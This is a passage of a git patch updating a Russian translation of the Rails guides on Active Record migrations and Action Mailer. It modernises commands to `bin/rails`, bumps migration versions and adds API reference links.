[`add_column`][] +* [`add_foreign_key`][] +* [`add_index`][] +* [`add_reference`][] +* [`add_timestamps`][] +* [`change_column_default`][] (необходимо предоставить опции :from и :to) +* [`change_column_null`][] +* [`create_join_table`][] +* [`create_table`][] +* `disable_extension` +* [`drop_join_table`][] +* [`drop_table`][] (необходимо предоставить блок) +* `enable_extension` +* [`remove_column`][] (необходимо предоставить тип) +* [`remove_foreign_key`][] (необходимо предоставить вторую таблицу) +* [`remove_index`][] +* [`remove_reference`][] +* [`remove_timestamps`][] +* [`rename_column`][] +* [`rename_index`][] +* [`rename_table`][] + +[`change_table`][] также является обратимым, пока блок не вызывает `change`, `change_default` или `remove`. `remove_column` обратима, если предоставить тип столбца третьим аргументом. Также предоставьте опции оригинального столбца, иначе Rails не сможет в точности пересоздать этот столбец при откате: @@ -466,12 +483,24 @@ remove_column :posts, :slug, :string, null: false, default: '' Если вы нуждаетесь в использовании иных методов, следует использовать `reversible` или писать методы `up` и `down` вместо метода `change`. +[`add_foreign_key`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key +[`add_timestamps`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_timestamps +[`drop_join_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_join_table +[`drop_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-drop_table +[`remove_foreign_key`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key +[`remove_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_index +[`remove_reference`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_reference +[`remove_timestamps`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_timestamps +[`rename_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_column +[`rename_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_index +[`rename_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-rename_table + ### (using-reversible) Использование `reversible` -Комплексная миграция может включать процессы, которые Active Record не знает как обратить. Вы можете использовать `reversible`, чтобы указать что делать когда запускается миграция и когда она требует отката. Например: +Комплексная миграция может включать процессы, которые Active Record не знает как обратить. Вы можете использовать [`reversible`][], чтобы указать что делать когда запускается миграция и когда она требует отката. Например: ```ruby -class ExampleMigration < ActiveRecord::Migration +class ExampleMigration < ActiveRecord::Migration[6.0] def change create_table :distributors do |t| t.string :zipcode @@ -504,13 +533,15 @@ end Иногда миграция будет делать то, что просто необратимо; например, она может уничтожить некоторые данные. В таких случаях, вы можете вызвать `ActiveRecord::IrreversibleMigration` в вашем `down` блоке. Если кто-либо попытается отменить вашу миграцию, будет отображена ошибка, что это не может быть выполнено. +[`reversible`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible + ### Использование методов `up`/`down` Вы также можете использовать старый стиль миграций используя `up` и `down` методы, вместо `change`. Метод `up` должен описывать изменения, которые необходимо внести в схему, а метод `down` миграции должен обращать изменения, внесенные методом `up`. Другими словами, схема базы данных должна остаться неизменной после выполнения `up`, а затем `down`. Например, если создать таблицу в методе `up`, ее следует удалить в методе `down`. Разумно производить отмену изменений в полностью противоположном порядке тому, в котором они сделаны в методе `up`. Тогда пример из раздела про `reversible` будет эквивалентен: ```ruby -class ExampleMigration < ActiveRecord::Migration[5.0] +class ExampleMigration < ActiveRecord::Migration[6.0] def up create_table :distributors do |t| t.string :zipcode @@ -545,12 +576,12 @@ end ### (reverting-previous-migrations) Возвращение к предыдущим миграциям -Вы можете использовать возможность Active Record, чтобы откатить миграции с помощью `revert` метода: +Вы можете использовать возможность Active Record, чтобы откатить миграции с помощью метода [`revert`][]: ```ruby -require_relative '20121212123456_example_migration' +require_relative "20121212123456_example_migration" -class FixupExampleMigration < ActiveRecord::Migration[5.0] +class FixupExampleMigration < ActiveRecord::Migration[6.0] def change revert ExampleMigration @@ -564,7 +595,7 @@ end Метод `revert` также может принимать блок. Это может быть полезно для отката выбранной части предыдущих миграций. Для примера, давайте представим, что `ExampleMigration` закоммичена, а позже мы решили, что было бы лучше использовать валидации Active Record, вместо ограничения `CHECK`, для проверки zipcode. ```ruby -class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0] +class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[6.0] def change revert do reversible do |dir| @@ -592,21 +623,21 @@ end Подобная миграция также может быть написана без использования `revert`, но это бы привело к ещё нескольким шагам: изменение порядка (следования) `create table` и `reversible`, замена `create_table` на `drop_table` и в конечном итоге изменение `up` на `down` и наоборот. Обо всём этом уже позаботился `revert`. -NOTE: Если необходимо добавить ограничения `CHECK`, как в вышеуказанных примерах, нужно использовать `structure.sql` в качестве метода для выгрузки. Смотрите [Выгрузка схемы](#schema-dumping-and-you). +[`revert`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert Запуск миграций --------------- Rails предоставляет ряд команд rails для запуска определенных наборов миграций. -Самая первая миграция, относящаяся к команде rails, которую будем использовать, это `rails db:migrate`. В своей основной форме она всего лишь запускает метод `change` или `up` для всех миграций, которые еще не были запущены. Если таких миграций нет, она выходит. Она запустит эти миграции в порядке, основанном на дате миграции. +Самая первая миграция, относящаяся к команде rails, которую будем использовать, это `bin/rails db:migrate`. В своей основной форме она всего лишь запускает метод `change` или `up` для всех миграций, которые еще не были запущены. Если таких миграций нет, она выходит. Она запустит эти миграции в порядке, основанном на дате миграции. Заметьте, что запуск команды `db:migrate` также вызывает команду `db:schema:dump`, которая обновляет ваш файл `db/schema.rb` в соответствии со структурой вашей базы данных. Если вы определите целевую версию, Active Record запустит требуемые миграции (методы up, down или change), пока не достигнет требуемой версии. Версия это числовой префикс у файла миграции. Например, чтобы мигрировать к версии 20080906120000, запустите: ```bash -$ rails db:migrate VERSION=20080906120000 +$ bin/rails db:migrate VERSION=20080906120000 ``` Если версия 20080906120000 больше текущей версии (т.е. миграция вперед) это запустит метод `change` (или `up`) для всех миграций до и включая 20080906120000, но не выполнит какие-либо поздние миграции. Если миграция назад, это запустит метод `down` для всех миграций до, но не включая, 20080906120000. @@ -616,13 +647,13 @@ $ rails db:migrate VERSION=20080906120000 Обычная задача - это откатить последнюю миграцию. Например, вы сделали ошибку и хотите исправить ее. Можно отследить версию предыдущей миграции и произвести миграцию до нее, но можно поступить проще, запустив: ```bash -$ rails db:rollback +$ bin/rails db:rollback ``` Это вернёт ситуацию к последней миграции, или обратив метод `change`, или запустив метод `down`. Если нужно отменить несколько миграций, можно указать параметр `STEP`: ```bash -$ rails db:rollback STEP=3 +$ bin/rails db:rollback STEP=3 ``` произойдёт откат на 3 последних миграции. @@ -630,44 +661,44 @@ $ rails db:rollback STEP=3 Команда `db:migrate:redo` это ярлык для выполнения отката, а затем запуска миграции снова. Так же, как и с командой `db:rollback` можно указать параметр `STEP`, если нужно работать более чем с одной версией, например: ```bash -$ rails db:migrate:redo STEP=3 +$ bin/rails db:migrate:redo STEP=3 ``` -Ни одна из этих команд rails не может сделать ничего такого, чего нельзя было бы сделать с `db:migrate`. Они просто более удобны, так как вам не нужно явно указывать версию миграции, к которой нужно мигрировать. +Ни одна из этих команд rails не может сделать ничего такого, чего нельзя было бы сделать с `db:migrate`. Они там для удобства, так как вам не нужно явно указывать версию миграции, к которой нужно мигрировать. -### Установка базы данных +### Настройка базы данных -Команда `rails db:setup` создаст базу данных, загрузит схему и инициализирует ее с помощью данных seed. +Команда `bin/rails db:setup` создаст базу данных, загрузит схему и инициализирует ее с помощью данных seed. ### Сброс базы данных -Команда `rails db:reset` удалит базу данных и установит ее заново. Функционально это эквивалентно `rails db:drop db:setup`. +Команда `bin/rails db:reset` удалит базу данных и установит ее заново. Функционально это эквивалентно `bin/rails db:drop db:setup`. -NOTE. Это не то же самое, что запуск всех миграций. Будет использовано только текущее содержимое файла `db/schema.rb` или `db/structure.sql`. Если миграцию откатить невозможно, `rails db:reset` может не помочь вам. Подробнее о выгрузке схемы смотрите раздел [Выгрузка схемы](#schema-dumping-and-you). +NOTE. Это не то же самое, что запуск всех миграций. Будет использовано только текущее содержимое файла `db/schema.rb` или `db/structure.sql`. Если миграцию откатить невозможно, `bin/rails db:reset` может не помочь вам. Подробнее о выгрузке схемы смотрите раздел [Выгрузка схемы](#schema-dumping-and-you). ### Запуск определенных миграций Если необходимо запустить определённую миграцию вверх или вниз, это делают команды `db:migrate:up` и `db:migrate:down`. Просто укажите подходящую версию и у соответствующей миграции будет вызван метод `change`, `up` или `down`, например: ```bash -$ rails db:migrate:up VERSION=20080906120000 +$ bin/rails db:migrate:up VERSION=20080906120000 ``` запустит метод `up` у миграции 20080906120000. Эта команда сперва проверит, была ли миграция уже выполнена, и ничего делать не будет, если Active Record считает, что она уже была запущена. ### Запуск миграций в различных средах -По умолчанию запуск `rails db:migrate` запустится в окружении `development`. Для запуска миграций в другом окружении, его можно указать, используя переменную среды `RAILS_ENV` при запуске команды. Например, для запуска миграций в среде `test`, следует запустить: +По умолчанию запуск `bin/rails db:migrate` запустится в окружении `development`. Для запуска миграций в другом окружении, его можно указать, используя переменную среды `RAILS_ENV` при запуске команды. Например, для запуска миграций в среде `test`, следует запустить: ```bash -$ rails db:migrate RAILS_ENV=test +$ bin/rails db:migrate RAILS_ENV=test ``` ### Изменение вывода результата запущенных миграций По умолчанию миграции говорят нам только то, что они делают, и сколько времени это заняло. Миграция, создающая таблицу и добавляющая индекс, выдаст что-то наподобие этого: -```bash +``` == CreateProducts: migrating ================================================= -- create_table(:products) -> 0.0028s @@ -676,16 +707,16 @@ $ rails db:migrate RAILS_ENV=test Некоторые методы в миграциях позволяют вам все это контролировать: -|Метод |Назначение| -|------------------|----------| -|suppress_messages |Принимает блок как аргумент и запрещает любой вывод, сгенерированный этим блоком.| -|say |Принимает сообщение как аргумент и выводит его как есть. Может быть передан второй булевый аргумент для указания, нужен отступ или нет.| -|say_with_time |Выводит текст вместе с продолжительностью выполнения блока. Если блок возвращает число, предполагается, что это количество затронутых строк.| +| Метод | Назначение +| ----------------------- |----------- +| [`suppress_messages`][] | Принимает блок как аргумент и запрещает любой вывод, сгенерированный этим блоком. +| [`say`][] | Принимает сообщение как аргумент и выводит его как есть. Может быть передан второй булевый аргумент для указания, нужен отступ или нет. +| [`say_with_time`][] | Выводит текст вместе с продолжительностью выполнения блока. Если блок возвращает число, предполагается, что это количество затронутых строк. Например, эта миграция: ```ruby -class CreateProducts < ActiveRecord::Migration[5.0] +class CreateProducts < ActiveRecord::Migration[6.0] def change suppress_messages do create_table :products do |t| @@ -720,12 +751,16 @@ end == CreateProducts: migrated (10.0054s) ======================================= ``` -Если хотите, чтобы Active Record ничего не выводил, запуск `rails db:migrate VERBOSE=false` запретит любой вывод. +Если хотите, чтобы Active Record ничего не выводил, запуск `bin/rails db:migrate VERBOSE=false` запретит любой вывод. + +[`say`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say +[`say_with_time`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-say_with_time +[`suppress_messages`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-suppress_messages Изменение существующих миграций ------------------------------- -Периодически вы будете делать ошибки при написании миграции. Если вы уже запустили миграцию, вы не сможете просто отредактировать миграцию и запустить ее снова: Rails посчитает, что он уже выполнял миграцию, и ничего не сделает при запуске `rails db:migrate`. Вы должны откатить миграцию (например, с помощью `rails db:rollback`), отредактировать миграцию и затем запустить `rails db:migrate` для запуска исправленной версии. +Периодически вы будете делать ошибки при написании миграции. Если вы уже запустили миграцию, вы не сможете просто отредактировать миграцию и запустить ее снова: Rails посчитает, что он уже выполнял миграцию, и ничего не сделает при запуске `bin/rails db:migrate`. Вы должны откатить миграцию (например, с помощью `bin/rails db:rollback`), отредактировать миграцию и затем запустить `bin/rails db:migrate` для запуска исправленной версии. В целом, редактирование существующих миграций не хорошая идея. Вы создадите дополнительную работу себе и своим коллегам, и вызовете море головной боли, если существующая версия миграции уже была запущена в production. Вместо этого, следует написать новую миграцию, выполняющую требуемые изменения. Редактирование только что сгенерированные миграции, которая еще не была закоммичена в систему контроля версий (или, хотя бы, не ушла дальше вашей рабочей машины) относительно безвредно. @@ -738,7 +773,7 @@ end Миграции, какими бы не были они мощными, не являются авторитетным источником для схемы базы данных. База данных остается авторитетным источником. По умолчанию Rails генерирует `db/schema.rb`, которая пытается охватить текущее состояние схемы базы данных. -Она имеет тенденцию быть более быстрой и менее подверженной ошибкам, связанным с созданием нового экземпляра базы данных приложения, загружая файл схемы через `rails db:schema:load`, чем при повторном воспроизведении всей истории миграций. [Старые миграции](#old-migrations) могут работать неправильно, если эти миграции используют изменения внешних зависимостей или полагаются на код приложения, который развивается отдельно от этих миграций. +Она имеет тенденцию быть более быстрой и менее подверженной ошибкам, связанным с созданием нового экземпляра базы данных приложения, загружая файл схемы через `bin/rails db:schema:load`, чем при повторном воспроизведении всей истории миграций. [Старые миграции](#old-migrations) могут работать неправильно, если эти миграции используют изменения внешних зависимостей или полагаются на код приложения, который развивается отдельно от этих миграций. Файлы схемы также полезны, если необходимо быстро посмотреть, какие атрибуты есть у объекта Active Record. Эта информация не содержится в коде модели и часто распределена по нескольким миграциям, но собрана воедино в файле схемы. @@ -768,17 +803,17 @@ end Во многих случаях этого достаточно. Этот файл создается путем проверки базы данных и описывает свою структуру, используя `create_table`, `add_index` и так далее. -`db/schema.rb` не может описать все, что может поддерживать база данных, например триггеры, последовательности, хранимые процедуры, ограничения `CHECK` и так далее. Отметьте, в то время как в миграциях можно выполнить произвольные выражения SQL, эти выражения не смогут быть воспроизведены выгрузчиком схемы. Если используете подобные особенности, необходимо установить формат схемы как `:sql`, чтобы получить точный файл схемы, который будет полезен для создания новых экземпляров базы данных. +`db/schema.rb` не может описать все, что может поддерживать база данных, например триггеры, последовательности, хранимые процедуры и так далее. Отметьте, в то время как в миграциях можно выполнить произвольные выражения SQL, эти выражения не смогут быть воспроизведены выгрузчиком схемы. Если используете подобные особенности, необходимо установить формат схемы как `:sql`, чтобы получить точный файл схемы, который будет полезен для создания новых экземпляров базы данных. Когда формат схемы установлен в `:sql`, структура базы данных будет выгружена с помощью инструмента, предназначенного для этой базы данных в `db/structure.sql`. Например, для PostgreSQL используется утилита `pg_dump`. Для MySQL и MariaDB этот файл будет содержать результат `SHOW CREATE TABLE` для разных таблиц. -Чтобы загрузить схему из `db/structure.sql`, запустите `rails db:structure:load`. Загрузка этого файла осуществляется путем выполнения содержащихся в нем выражений SQL. По определению создастся точная копия структуры базы данных. +Чтобы загрузить схему из `db/structure.sql`, запустите `bin/rails db:structure:load`. Загрузка этого файла осуществляется путем выполнения содержащихся в нем выражений SQL. По определению создастся точная копия структуры базы данных. ### Выгрузки схем и управление версиями Поскольку файлы схемы обычно используются для создания новых баз данных, настоятельно рекомендуется проверять файл схемы в системе управления версиями. -Конфликты слияния могут возникать в файле схемы, когда две ветки модифицируют схему. Для разрешения этих конфликтов, запустите `rails db:migrate`, чтобы восстановить файл схемы. +Конфликты слияния могут возникать в файле схемы, когда две ветки модифицируют схему. Для разрешения этих конфликтов, запустите `bin/rails db:migrate`, чтобы восстановить файл схемы. (Active Record and Referential Integrity) Active Record и ссылочная целостность ------------------------------------------------------------------------------- @@ -795,7 +830,7 @@ end Основным назначением миграции Rails является запуск команд, последовательно модифицирующих схему. Миграции также могут быть использованы для добавления или модифицирования данных. Это полезно для существующей базы данных, которую нельзя удалить и пересоздать, такой как база данных на production. ```ruby -class AddInitialProducts < ActiveRecord::Migration[5.0] +class AddInitialProducts < ActiveRecord::Migration[6.0] def up 5.times do |i| Product.create(name: "Product ##{i}", description: "A product.") @@ -808,7 +843,7 @@ class AddInitialProducts < ActiveRecord::Migration[5.0] end ``` -Чтобы добавить изначальные данные в базу данных после создания, в Rails имеется встроенная особенность 'seeds', которая делает процесс быстрым и простым. Это особенно полезно при частой перезагрузке базы данных в средах разработки и тестирования. Этой особенностью легко начать пользоваться: просто заполните `db/seeds.rb` некоторым кодом Ruby и запустите `rails db:seed`: +Чтобы добавить изначальные данные в базу данных после создания, в Rails имеется встроенная особенность 'seeds', которая ускоряет процесс. Это особенно полезно при частой перезагрузке базы данных в средах разработки и тестирования. Чтобы начать пользоваться этой особенностью, заполните `db/seeds.rb` некоторым кодом Ruby и запустите `bin/rails db:seed`: ```ruby 5.times do |i| @@ -823,7 +858,7 @@ end `db/schema.rb` или `db/structure.sql` это снимок текущего состояния вашей базы данных и авторитетный источник для восстановления этой базы данных. Поэтому возможно удалить старые файлы миграций. -Когда вы удалите файлы миграций в директории `db/migrate/`, любая среда, в которой `rails db:migrate` была запущена, когда эти файлы еще существовали, будет хранить ссылки на временные метки миграций во внутренней таблице Rails по имени `schema_migrations`. Эта таблица используется для отслеживания, была ли миграция выполнена в указанной среде. +Когда вы удалите файлы миграций в директории `db/migrate/`, любая среда, в которой `bin/rails db:migrate` была запущена, когда эти файлы еще существовали, будет хранить ссылки на временные метки миграций во внутренней таблице Rails по имени `schema_migrations`. Эта таблица используется для отслеживания, была ли миграция выполнена в указанной среде. -Если вы запустите команду `rails db:migrate:status`, которая отображает статус +Если вы запустите команду `bin/rails db:migrate:status`, которая отображает статус (up или down) каждой миграции, вы увидите `********** NO FILE **********`, отображенный рядом с каждым удаленным файлом миграции, который однажды был запущен в указанной среде, но больше не найден в директории `db/migrate/`. diff --git a/source/index.yml b/source/index.yml index 0416d57b..b7157c2e 100644 --- a/source/index.yml +++ b/source/index.yml @@ -27,8 +27,8 @@ pages: - title: Миграции Active Record path: rails-database-migrations file: active_record_migrations.md - revision: e84ee74854876be00c3d072182af4c936c7d303c - date: 10/05/2019 + revision: cb0da4f817eee35089c1f12a4fa46a765611181f + date: 22/12/2020 - title: Валидации Active Record path: active-record-validations From 50ad2f8dcbbf435b54e88a6ef17df7bb309c7bee Mon Sep 17 00:00:00 2001 From: Mikhail Date: Tue, 16 Feb 2021 23:33:37 +0300 Subject: [PATCH 550/932] Update mailers guide --- source/action_mailer_basics.md | 179 ++++++++++++++++++++++----------- source/index.yml | 4 +- 2 files changed, 121 insertions(+), 62 deletions(-) diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index 8695dae5..448161e8 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -6,32 +6,37 @@ После прочтения этого руководства, вы узнаете: * Как отправлять письма в приложении Rails. -* Как генерировать и редактировать класс Action Mailer и вьюху рассыльщика. +* Как генерировать и редактировать класс Action Mailer и вью рассыльщика. * Как настраивать Action Mailer для своей среды. * Как тестировать свои классы Action Mailer. -Action Mailer позволяет отправлять электронные письма из приложения, используя классы и вьюхи рассыльщика. +Что такое Action Mailer? +------------------------ + +Action Mailer позволяет отправлять электронные письма из приложения, используя классы и вью рассыльщика. #### Рассыльщики похожи на контроллеры -Они наследуются от `ActionMailer::Base`, и находятся в `app/mailers`. Рассыльщики также работают подобно контроллерами. Некоторые общие черты перечислены ниже. У рассыльщиков есть: +Они наследуются от [`ActionMailer::Base`][] и находятся в `app/mailers`. Рассыльщики также работают подобно контроллерами. Некоторые общие черты перечислены ниже. У рассыльщиков есть: -* Экшны, а также связанные вьюхи, которые располагаются в `app/views`. -* Переменные экземпляра, доступные во вьюхах. +* Экшны, а также связанные вью, которые располагаются в `app/views`. +* Переменные экземпляра, доступные во вью. * Возможность использовать макеты и партиалы. * Возможность доступа к хэшу params. +[`ActionMailer::Base`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html + Отправка электронной почты -------------------------- -Этот раздел предоставляет пошаговое руководство по созданию рассыльщика и его вьюх. +Этот раздел предоставляет пошаговое руководство по созданию рассыльщика и его вью. ### Пошаговое руководство по генерации рассыльщика #### Создаем рассыльщик ```bash -$ rails generate mailer UserMailer +$ bin/rails generate mailer UserMailer create app/mailers/user_mailer.rb create app/mailers/application_mailer.rb invoke erb @@ -49,7 +54,9 @@ class ApplicationMailer < ActionMailer::Base default from: "from@example.com" layout 'mailer' end +``` +```ruby # app/mailers/user_mailer.rb class UserMailer < ApplicationMailer end @@ -66,7 +73,7 @@ end #### Редактируем рассыльщик -У рассыльщиков есть методы, называемые "экшнами", и они используют вьюхи для структурирования своего контента. В то время, когда контроллер генерирует контент, например HTML, для возврата его на клиент, рассыльщик создает сообщение для доставки по электронной почте. +У рассыльщиков есть методы, называемые "экшнами", и они используют вью для структурирования своего контента. В то время, когда контроллер генерирует контент, например HTML, для возврата его на клиент, рассыльщик создает сообщение для доставки по электронной почте. `app/mailers/user_mailer.rb` содержит пустой рассыльщик: @@ -92,10 +99,13 @@ end Вот краткое описание элементов, представленных в этом методе. Для полного списка всех доступных опций, обратитесь к [соответствующему разделу](#complete-list-of-action-mailer-user-settable-attributes). -* Хэш `default` - это хэш значений по умолчанию для любых рассылаемых вами email из этого рассыльщика. В этом случае мы присваиваем заголовку `:from` значение для всех сообщений в этом классе. Это может быть переопределено для отдельного письма. -* `mail` - фактическое сообщение email, куда мы передаем заголовки `:to` и `:subject`. +* Метод [`default`][] устанавливает значения по умолчанию для всех рассылаемых email из этого рассыльщика. В этом случае мы используем его, чтобы назначить заголовку `:from` значение для всех сообщений в этом классе. Это может быть переопределено для отдельного письма. +* Метод [`mail`][] создает фактическое сообщение email. Мы используем его, чтобы определить значения заголовков, таких как `:to` и `:subject` для этого email. -#### Создаем вьюху рассыльщика +[`default`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-c-default +[`mail`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-mail + +#### Создаем вью рассыльщика Создадим файл, названный `welcome_email.html.erb` в `app/views/user_mailer/`. Это будет шаблоном, используемым для email, форматированным в HTML: @@ -137,20 +147,20 @@ Thanks for joining and have a great day! #### Вызов рассыльщика -Рассыльщики - это всего лишь другой способ отрендерить вьюху. Вместо рендеринга вьюхи и отсылки ее по протоколу HTTP, они всего лишь вместо этого отправляют ее по протоколам email. Благодаря этому имеет смысл, чтобы контроллер сказал рассыльщику отослать письмо тогда, когда пользователь был успешно создан. +Рассыльщики - это всего лишь другой способ отрендерить вью. Вместо рендеринга вью и отсылки ее по протоколу HTTP, они вместо этого отправляют ее по протоколам email. Благодаря этому имеет смысл, чтобы контроллер сказал рассыльщику отослать письмо тогда, когда пользователь был успешно создан. Настроить это просто. -Во первых, давайте создадим простой скаффолд `User`: +Во первых, давайте создадим скаффолд `User`: ```bash -$ rails generate scaffold user name email login -$ rails db:migrate +$ bin/rails generate scaffold user name email login +$ bin/rails db:migrate ``` -Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.with(user: @user).welcome_email` сразу после того, как пользователь был успешно сохранен. +Теперь, когда у нас есть модель user, с которой мы играем, надо отредактировать файл `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.with(user: @user).welcome_email` сразу после того, как пользователь был успешно сохранен. -Action Mailer прекрасно интегрирован с Active Job, поэтому можно отправлять электронную почту вне цикла запрос-отклик, таким образом что пользователю не нужно ждать выполнения отправки: +Мы поставим этот email в очередь отправки с помощью [`deliver_later`][], который поддерживается Active Job. Таким образом, экшн контроллера может продолжать без ожидания завершения отправки. ```ruby class UsersController < ApplicationController @@ -175,11 +185,9 @@ class UsersController < ApplicationController end ``` -NOTE: Поведением Active Job по умолчанию является выполнение заданий с помощью адаптера `:async`. Поэтому можно использовать `deliver_later` для отсылки писем прямо сейчас асинхронно. Адаптер Active Job по умолчанию запускает задания с помощью пула тредов внутри процесса. Это хорошо подходит для сред development/test, так как не требует какой-либо внешней инфраструктуры, но плохо подходит для production, так как он теряет отложенные задания при перезагрузке. Если нужен персистентный бэкенд, необходимо использовать адаптер Active Job, у которого такой бэкенд есть (Sidekiq, Resque и т.п.). - -NOTE: При вызове `deliver_later`, задание будет помещено в очередь `mailers`. Убедитесь, что адаптер Active Job поддерживает ее, иначе это задание будет молча проигнорировано, что предотвратит отправку письма. Ее можно изменить, указав в опции `config.action_mailer.deliver_later_queue_name`. +NOTE: Поведением Active Job по умолчанию является выполнение заданий с помощью адаптера `:async`. Поэтому можно использовать `deliver_later` для отсылки писем асинхронно. Адаптер Active Job по умолчанию запускает задания с помощью пула тредов внутри процесса. Это хорошо подходит для сред development/test, так как не требует какой-либо внешней инфраструктуры, но плохо подходит для production, так как он теряет отложенные задания при перезагрузке. Если нужен персистентный бэкенд, необходимо использовать адаптер Active Job, у которого такой бэкенд есть (Sidekiq, Resque и т.п.). -Если хотите отправлять письма прямо сейчас в любом случае (например, из крона) просто вызовите `deliver_now`: +Если хотите отправлять письма прямо сейчас в любом случае (например, из крона) просто вызовите [`deliver_now`][]: ```ruby class SendWeeklySummary @@ -191,9 +199,16 @@ class SendWeeklySummary end ``` -Любая пара ключ/значение, переданная в `with`, просто становится `params` для экшна рассыльщика. Поэтому `with(user: @user, account: @user.account)` делает `params[:user]` и `params[:account]` доступными в экшне рассыльщика. Это такой же params, который есть в контроллерах. +Любая пара ключ/значение, переданная в [`with`][], просто становится `params` для экшна рассыльщика. Поэтому `with(user: @user, account: @user.account)` делает `params[:user]` и `params[:account]` доступными в экшне рассыльщика. Это такой же params, который есть в контроллерах. + +Метод `welcome_email` возвращает объект [`ActionMailer::MessageDelivery`][], которому затем можно сказать `deliver_now` или `deliver_later`, чтобы он сам себя отослал. Объект `ActionMailer::MessageDelivery` — это обертка для `Mail::Message`. Если хотите исследовать, изменить или еще что-то сделать с объектом `Mail::Message`, к нему можно получить доступ с помощью метода [`message`][] на объекте `ActionMailer::MessageDelivery`. -Метод `welcome_email` возвращает объект `ActionMailer::MessageDelivery`, которому затем можно сказать `deliver_now` или `deliver_later`, чтобы он сам себя отослал. Объект `ActionMailer::MessageDelivery` — это всего лишь обертка для `Mail::Message`. Если хотите исследовать, изменить или еще что-то сделать с объектом `Mail::Message`, к нему можно получить доступ с помощью метода `message` на объекте `ActionMailer::MessageDelivery`. +[`ActionMailer::MessageDelivery`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html +[`deliver_later`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_later +[`deliver_now`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-deliver_now +[`Mail::Message`]: https://api.rubyonrails.org/classes/Mail/Message.html +[`message`]: https://api.rubyonrails.org/classes/ActionMailer/MessageDelivery.html#method-i-message +[`with`]: https://api.rubyonrails.org/classes/ActionMailer/Parameterized/ClassMethods.html#method-i-with ### Автоматическое кодирование значений заголовка @@ -205,15 +220,18 @@ Action Mailer осуществляет автоматическое кодиро Имеется всего три метода, необходимых для рассылки почти любых сообщений email: -* `headers` - Определяет любой заголовок email. Можно передать хэш пар имен и значений полей заголовка, или можно вызвать `headers[:field_name] = 'value'` -* `attachments` - Позволяет добавить прикрепленные файлы в email. Например, `attachments['file-name.jpg'] = File.read('file-name.jpg')` -* `mail` - Фактически отсылает сам email. Можете передать в `headers` хэш к методу `mail` как параметр, `mail` затем создаст email, или чистый текст, или multipart, в зависимости от определенных вами шаблонов email. +* [`headers`][] - Определяет любой заголовок email. Можно передать хэш пар имен и значений полей заголовка, или можно вызвать `headers[:field_name] = 'value'` +* [`attachments`][] - Позволяет добавить прикрепленные файлы в email. Например, `attachments['file-name.jpg'] = File.read('file-name.jpg')` +* [`mail`][] - Создает сам email. Можете передать в `headers` хэш к методу `mail` как параметр. `mail` затем создаст email - или чистый текст, или multipart - в зависимости от определенных вами шаблонов email. + +[`attachments`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-attachments +[`headers`]: https://api.rubyonrails.org/classes/ActionMailer/Base.html#method-i-headers #### Добавление прикрепленных файлов В Action Mailer очень просто добавить прикрепленные файлы. -* Передайте имя файла и содержимое, и Action Mailer и [гем Mail](https://github.com/mikel/mail) автоматически определят mime_type, установят кодировку и создадут прикрепленные файлы. +* Передайте имя файла и содержимое, и Action Mailer и [гем Mail](https://github.com/mikel/mail) автоматически определят `mime_type`, установят `encoding` и создадут прикрепленные файлы. ```ruby attachments['filename.jpg'] = File.read('/path/to/filename.jpg') @@ -248,7 +266,7 @@ Action Mailer 3.0 создает встроенные прикрепленные end ``` -* Затем, во вьюхе можно просто сослаться на `attachments` как хэш и определить, какой прикрепленный файл необходимо отобразить, вызвав `url` на нем, и затем передать результат в метод `image_tag`: +* Затем, во вью можно просто сослаться на `attachments` как хэш и определить, какой прикрепленный файл необходимо отобразить, вызвав `url` на нем, и затем передать результат в метод `image_tag`: ```html+erb

    Hello there, this is our image

